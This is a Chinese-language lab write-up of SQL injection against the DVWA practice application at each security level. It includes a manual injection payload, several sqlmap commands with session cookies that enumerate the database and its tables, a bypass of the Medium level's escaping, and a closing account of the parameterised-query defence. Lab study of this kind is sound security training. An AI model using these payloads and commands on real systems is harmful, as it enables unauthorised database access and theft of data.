Low 等级
1.手工方法
注入poc为:1’ or ‘1’=’1
确定查询字段数
确定回显点
数据库名为dvwa
表名为guestbook,users
2.使用sqlmap进行注入
python sqlmap.py -u "https://dvwa.practice.rois.io/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=pqsnp4fk48uek23a6qs5k47gt2; security=low"
注入类型
数据库名
python sqlmap.py -u "https://dvwa.practice.rois.io/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=pqsnp4fk48uek23a6qs5k47gt2; security=low" --current-db
表名
python sqlmap.py -u "https://dvwa.practice.rois.io/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=pqsnp4fk48uek23a6qs5k47gt2; security=low" -D dvwa --tables
Medium 等级
请求方式变为post
确定注入poc
报错
查看源码,发现使用mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
(受影响字符:\x00,\n,\r,\,’,",\x1a)
1.对dvwa进行hex编码,获得表名
2.使用(select database())代替’dvwa’
3.使用sqlmap获取表名
python sqlmap.py -u "https://dvwa.practice.rois.io/vulnerabilities/sqli/" --data "id=1&Submit=Submit" -p "id" --cookie "PHPSESSID=pqsnp4fk48uek23a6qs5k47gt2; security=medium" -D dvwa --tables
High 等级
1.手工方法
确定注入poc
2.使用sqlmap
python sqlmap.py -u "https://dvwa.practice.rois.io/vulnerabilities/sqli/session-input.php" --data "id=1&Submit=Submit" -p "id" --cookie "PHPSESSID=pqsnp4fk48uek23a6qs5k47gt2; security=high" --second-url "https://dvwa.practice.rois.io/vulnerabilities/sqli/" -D dvwa --tables
Impossible 等级
检测了id数据类型,使用了预编译绑定id变量,并参数化SQL语句,
有效防止了SQL注入
同时只有查询返回结果数量是1时才显示结果,有效防范了脱库